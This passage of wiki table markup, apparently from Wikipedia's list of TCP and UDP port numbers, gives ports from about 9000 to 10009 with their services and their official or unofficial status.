vertical-align: middle; text-align: center;\" class=\"table-na\">Reserved<sup id=\"cite_ref-IANA_2-12\" class=\"reference\"><a href=\"#cite_note-IANA-2\">&#91;2&#93;</a></sup>\n</td>\n<td>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Apache_Tomcat\" title=\"Apache Tomcat\">Tomcat</a> in standalone mode<sup id=\"cite_ref-apple-kb-HT202944_11-75\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td>9030</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Tor_(anonymity_network)\" class=\"mw-redirect\" title=\"Tor (anonymity network)\">Tor</a> often used\n</td></tr>\n<tr>\n<td>9042</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Apache_Cassandra\" title=\"Apache Cassandra\">Apache Cassandra</a> native protocol clients\n</td></tr>\n<tr>\n<td>9043</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/WebSphere_Application_Server\" class=\"mw-redirect\" title=\"WebSphere Application Server\">WebSphere Application Server</a> Administration Console secure\n</td></tr>\n<tr>\n<td>9050–9051</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Tor_(anonymity_network)\" class=\"mw-redirect\" title=\"Tor (anonymity network)\">Tor</a> (SOCKS-5 proxy client)\n</td></tr>\n<tr>\n<td>9060</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/WebSphere_Application_Server\" class=\"mw-redirect\" title=\"WebSphere Application Server\">WebSphere Application Server</a> Administration Console\n</td></tr>\n<tr>\n<td rowspan=\"4\">9080\n</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>glrpc, <a href=\"/wiki/Microsoft_Groove\" class=\"mw-redirect\" title=\"Microsoft Groove\">Groove</a> <a href=\"/wiki/Collaboration_software\" class=\"mw-redirect\" title=\"Collaboration software\">Collaboration software</a> GLRPC\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/WebSphere_Application_Server\" class=\"mw-redirect\" title=\"WebSphere Application Server\">WebSphere Application Server</a> <a href=\"/wiki/HTTP\" class=\"mw-redirect\" title=\"HTTP\">HTTP</a> Transport (port 1) <a href=\"/wiki/Default_(computer_science)\" title=\"Default (computer science)\">default</a>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Remote Potato by FatAttitude, Windows Media Center addon\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>ServerWMC, Windows Media Center addon\n</td></tr>\n<tr>\n<td>9081</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Zerto\" title=\"Zerto\">Zerto</a> ZVM to ZVM communication\n</td></tr>\n<tr>\n<td rowspan=\"4\">9090\n</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Prometheus_(software)\" title=\"Prometheus (software)\">Prometheus</a> metrics server\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Openfire\" title=\"Openfire\">Openfire</a> Administration Console\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/SqueezeCenter\" class=\"mw-redirect\" title=\"SqueezeCenter\">SqueezeCenter</a> control (CLI)\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Cherokee_(web_server)\" title=\"Cherokee (web server)\">Cherokee</a> Admin Panel\n</td></tr>\n<tr>\n<td rowspan=\"2\">9091\n</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Openfire\" title=\"Openfire\">Openfire</a> Administration Console (SSL Secured)\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Transmission_(BitTorrent_client)\" title=\"Transmission (BitTorrent client)\">Transmission (BitTorrent client)</a> Web Interface\n</td></tr>\n<tr>\n<td rowspan=\"2\">9092\n</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/H2_(DBMS)\" title=\"H2 (DBMS)\">H2 (DBMS)</a> Database Server\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Apache_Kafka\" title=\"Apache Kafka\">Apache Kafka</a> A Distributed Streaming Platform<sup id=\"cite_ref-333\" class=\"reference\"><a href=\"#cite_note-333\">&#91;331&#93;</a></sup>\n</td></tr>\n<tr>\n<td>9100</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Page_description_language\" title=\"Page description language\">PDL</a> Data Stream, used for printing to certain network printers<sup id=\"cite_ref-apple-kb-HT202944_11-76\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td>9101</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Bacula\" title=\"Bacula\">Bacula</a> Director\n</td></tr>\n<tr>\n<td>9102</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Bacula\" title=\"Bacula\">Bacula</a> File Daemon\n</td></tr>\n<tr>\n<td>9103</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Bacula\" title=\"Bacula\">Bacula</a> Storage Daemon\n</td></tr>\n<tr>\n<td>9119</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/MXit\" class=\"mw-redirect\" title=\"MXit\">MXit</a> Instant Messenger\n</td></tr>\n<tr>\n<td>9150</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Tor_(anonymity_network)\" class=\"mw-redirect\" title=\"Tor (anonymity network)\">Tor</a> Browser\n</td></tr>\n<tr>\n<td>9191</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Sierra Wireless Airlink\n</td></tr>\n<tr>\n<td>9199</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Avtex LLC—qStats\n</td></tr>\n<tr>\n<td>9200</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Elasticsearch<sup id=\"cite_ref-334\" class=\"reference\"><a href=\"#cite_note-334\">&#91;332&#93;</a></sup>—default Elasticsearch port\n</td></tr>\n<tr>\n<td>9217</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>iPass Platform Service\n</td></tr>\n<tr>\n<td>9293</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Sony PlayStation RemotePlay<sup id=\"cite_ref-335\" class=\"reference\"><a href=\"#cite_note-335\">&#91;333&#93;</a></sup>\n</td></tr>\n<tr>\n<td>9295</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Sony PlayStation Remote Play Session creation communication port\n</td></tr>\n<tr>\n<td>9296</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Sony PlayStation Remote Play\n</td></tr>\n<tr>\n<td>9897</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Sony PlayStation Remote Play Video stream\n</td></tr>\n<tr>\n<td>9300</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/IBM_Cognos_Business_Intelligence\" class=\"mw-redirect\" title=\"IBM Cognos Business Intelligence\">IBM Cognos BI</a><sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (August 2017)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>9303</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/w/index.php?title=D-Link_Shareport&amp;action=edit&amp;redlink=1\" class=\"new\" title=\"D-Link Shareport (page does not exist)\">D-Link Shareport</a> Share storage and MFP printers<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (August 2017)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>9306</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Sphinx_(search_engine)\" title=\"Sphinx (search engine)\">Sphinx</a> Native API\n</td></tr>\n<tr>\n<td>9309</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Sony PlayStation Vita Host Collaboration WiFi Data Transfer<sup id=\"cite_ref-336\" class=\"reference\"><a href=\"#cite_note-336\">&#91;334&#93;</a></sup>\n</td></tr>\n<tr>\n<td>9312</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Sphinx_(search_engine)\" title=\"Sphinx (search engine)\">Sphinx</a> SphinxQL\n</td></tr>\n<tr>\n<td>9332</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Litecoin\" title=\"Litecoin\">Litecoin</a> <a href=\"/wiki/JSON-RPC\" title=\"JSON-RPC\">JSON-RPC</a> server\n</td></tr>\n<tr>\n<td>9333</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Litecoin\" title=\"Litecoin\">Litecoin</a>\n</td></tr>\n<tr>\n<td>9339</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Used by all Supercell games such as Brawl Stars and Clash of Clans, mobile freemium strategy video games\n</td></tr>\n<tr>\n<td>9389</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>adws, <a href=\"/wiki/Microsoft\" title=\"Microsoft\">Microsoft</a> <a href=\"/wiki/AD_DS\" class=\"mw-redirect\" title=\"AD DS\">AD DS</a> Web Services, <a href=\"/wiki/Powershell\" class=\"mw-redirect\" title=\"Powershell\">Powershell</a> uses this port\n</td></tr>\n<tr>\n<td>9392</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td></td>\n<td>\n</td>\n<td>OpenVAS Greenbone Security Assistant web interface\n</td></tr>\n<tr>\n<td>9418</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>git, <a href=\"/wiki/Git_(software)\" class=\"mw-redirect\" title=\"Git (software)\">Git</a> pack transfer service\n</td></tr>\n<tr>\n<td>9419</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Moose_File_System\" title=\"Moose File System\">MooseFS</a> distributed file system – master control port<sup id=\"cite_ref-mfs-manual3.0-ports_337-0\" class=\"reference\"><a href=\"#cite_note-mfs-manual3.0-ports-337\">&#91;335&#93;</a></sup>\n</td></tr>\n<tr>\n<td>9420</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>MooseFS distributed file system – master command port<sup id=\"cite_ref-mfs-manual3.0-ports_337-1\" class=\"reference\"><a href=\"#cite_note-mfs-manual3.0-ports-337\">&#91;335&#93;</a></sup>\n</td></tr>\n<tr>\n<td>9421</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>MooseFS distributed file system – master client port<sup id=\"cite_ref-mfs-manual3.0-ports_337-2\" class=\"reference\"><a href=\"#cite_note-mfs-manual3.0-ports-337\">&#91;335&#93;</a></sup>\n</td></tr>\n<tr>\n<td>9422</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>MooseFS distributed file system – Chunkservers<sup id=\"cite_ref-mfs-manual3.0-ports_337-3\" class=\"reference\"><a href=\"#cite_note-mfs-manual3.0-ports-337\">&#91;335&#93;</a></sup>\n</td></tr>\n<tr>\n<td>9425</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>MooseFS distributed file system – CGI server<sup id=\"cite_ref-mfs-manual3.0-ports_337-4\" class=\"reference\"><a href=\"#cite_note-mfs-manual3.0-ports-337\">&#91;335&#93;</a></sup>\n</td></tr>\n<tr>\n<td rowspan=\"2\">9443\n</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/VMware\" title=\"VMware\">VMware</a> Websense Triton console (HTTPS port used for accessing and administrating a vCenter Server via the Web Management Interface)\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/NCSA_Brown_Dog\" title=\"NCSA Brown Dog\">NCSA Brown Dog</a> Data Tilling Service\n</td></tr>\n<tr>\n<td>9535</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>mngsuite, <a href=\"/wiki/Landesk\" class=\"mw-redirect\" title=\"Landesk\">LANDesk</a> Management Suite Remote Control\n</td></tr>\n<tr>\n<td>9536</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>laes-bf, <a href=\"/wiki/IP_Fabrics\" title=\"IP Fabrics\">IP Fabrics</a> Surveillance buffering function\n</td></tr>\n<tr>\n<td>9600</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Factory_Interface_Network_Service\" title=\"Factory Interface Network Service\">Factory Interface Network Service</a> (FINS), a network protocol used by <a href=\"/wiki/Omron\" title=\"Omron\">Omron</a> <a href=\"/wiki/Programmable_logic_controller\" title=\"Programmable logic controller\">programmable logic controllers</a><sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (August 2017)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>9669</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td></td>\n<td>\n</td>\n<td>VGG Image Search Engine <a rel=\"nofollow\" class=\"external text\" href=\"https://www.robots.ox.ac.uk/~vgg/software/vise/\">VISE</a>\n</td></tr>\n<tr>\n<td>9675</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Spiceworks\" title=\"Spiceworks\">Spiceworks</a> Desktop, IT Helpdesk Software\n</td></tr>\n<tr>\n<td>9676</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Spiceworks\" title=\"Spiceworks\">Spiceworks</a> Desktop, IT Helpdesk Software\n</td></tr>\n<tr>\n<td>9695</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Content_centric_networking\" title=\"Content centric networking\">Content centric networking</a> (CCN, CCNx)<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (August 2017)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>9735</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Bitcoin\" title=\"Bitcoin\">Bitcoin</a> <a href=\"/wiki/Lightning_Network\" title=\"Lightning Network\">Lightning Network</a><sup id=\"cite_ref-338\" class=\"reference\"><a href=\"#cite_note-338\">&#91;336&#93;</a></sup>\n</td></tr>\n<tr>\n<td>9785</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Viber\" title=\"Viber\">Viber</a><sup id=\"cite_ref-viber_208-3\" class=\"reference\"><a href=\"#cite_note-viber-208\">&#91;206&#93;</a></sup>\n</td></tr>\n<tr>\n<td rowspan=\"2\">9800\n</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/WebDAV\" title=\"WebDAV\">WebDAV</a> Source\n</td></tr>\n<tr>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/WebCT\" title=\"WebCT\">WebCT</a> e-learning portal\n</td></tr>\n<tr>\n<td>9875</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Club_Penguin\" title=\"Club Penguin\">Club Penguin</a> Disney online game for kids\n</td></tr>\n<tr>\n<td>9898</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Tripwire_(software)\" class=\"mw-redirect\" title=\"Tripwire (software)\">Tripwire</a>—File Integrity Monitoring Software<sup id=\"cite_ref-339\" class=\"reference\"><a href=\"#cite_note-339\">&#91;337&#93;</a></sup>\n</td></tr>\n<tr>\n<td>9899</td>\n<td></td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Stream_Control_Transmission_Protocol\" title=\"Stream Control Transmission Protocol\">SCTP</a> tunneling (port number used in SCTP packets encapsulated in UDP, RFC 6951)\n</td></tr>\n<tr>\n<td>9901</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Banana for Apache Solr\n</td></tr>\n<tr>\n<td>9981</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Tvheadend\" title=\"Tvheadend\">Tvheadend</a> HTTP server (web interface)<sup id=\"cite_ref-tvh-wiki-install-initial-setup_340-0\" class=\"reference\"><a href=\"#cite_note-tvh-wiki-install-initial-setup-340\">&#91;338&#93;</a></sup>\n</td></tr>\n<tr>\n<td>9982</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Tvheadend\" title=\"Tvheadend\">Tvheadend</a> HTSP server (Streaming protocol)<sup id=\"cite_ref-tvh-wiki-install-initial-setup_340-1\" class=\"reference\"><a href=\"#cite_note-tvh-wiki-install-initial-setup-340\">&#91;338&#93;</a></sup>\n</td></tr>\n<tr>\n<td>9987</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/TeamSpeak\" title=\"TeamSpeak\">TeamSpeak</a> 3 server default (voice) port (for the conflicting service see the IANA list)<sup id=\"cite_ref-hub.docker.com_341-0\" class=\"reference\"><a href=\"#cite_note-hub.docker.com-341\">&#91;339&#93;</a></sup>\n</td></tr>\n<tr>\n<td>9993</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/ZeroTier\" title=\"ZeroTier\">ZeroTier</a> Default port for ZeroTier\n</td></tr>\n<tr>\n<td>9997</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Splunk\" title=\"Splunk\">Splunk</a> port for communication between the forwarders and indexers\n</td></tr>\n<tr>\n<td>9999</td>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Urchin_Software_Corporation\" class=\"mw-redirect\" title=\"Urchin Software Corporation\">Urchin</a> Web Analytics<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (March 2012)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n\n<tr>\n<td>9999</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Dash_(cryptocurrency)\" title=\"Dash (cryptocurrency)\">Dash (cryptocurrency)</a><sup id=\"cite_ref-342\" class=\"reference\"><a href=\"#cite_note-342\">&#91;340&#93;</a></sup>\n</td></tr>\n<tr>\n<td rowspan=\"3\">10000\n</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Network Data Management Protocol (<a href=\"/wiki/NDMP\" title=\"NDMP\">NDMP</a>) Control stream for network backup and restore.\n</td></tr>\n<tr>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/BackupExec\" class=\"mw-redirect\" title=\"BackupExec\">BackupExec</a>\n</td></tr>\n<tr>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Webmin\" title=\"Webmin\">Webmin</a>, Web-based Unix/Linux system administration tool (default port)\n</td></tr>\n<tr>\n<td>10000–20000</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Used on <a href=\"/wiki/Voice_over_IP\" title=\"Voice over IP\">VoIP</a> networks for receiving and transmitting voice telephony traffic which includes <a href=\"/wiki/Google_Voice\" title=\"Google Voice\">Google Voice</a> via the <a href=\"/wiki/Obihai_Technology\" title=\"Obihai Technology\">OBiTalk</a> <a href=\"/wiki/Analog_telephone_adapter\" title=\"Analog telephone adapter\">ATA</a> devices as well as on the <a href=\"/wiki/MagicJack\" title=\"MagicJack\">MagicJack</a> and <a href=\"/wiki/Vonage\" title=\"Vonage\">Vonage</a> ATA network devices.<sup id=\"cite_ref-support.vonage.com_343-0\" class=\"reference\"><a href=\"#cite_note-support.vonage.com-343\">&#91;341&#93;</a></sup>\n</td></tr>\n<tr>\n<td>10001</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Ubiquiti UniFi access points broadcast to 255.255.255.255:10001 (UDP) to locate the controller(s)\n</td></tr>\n<tr>\n<td>10009</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial 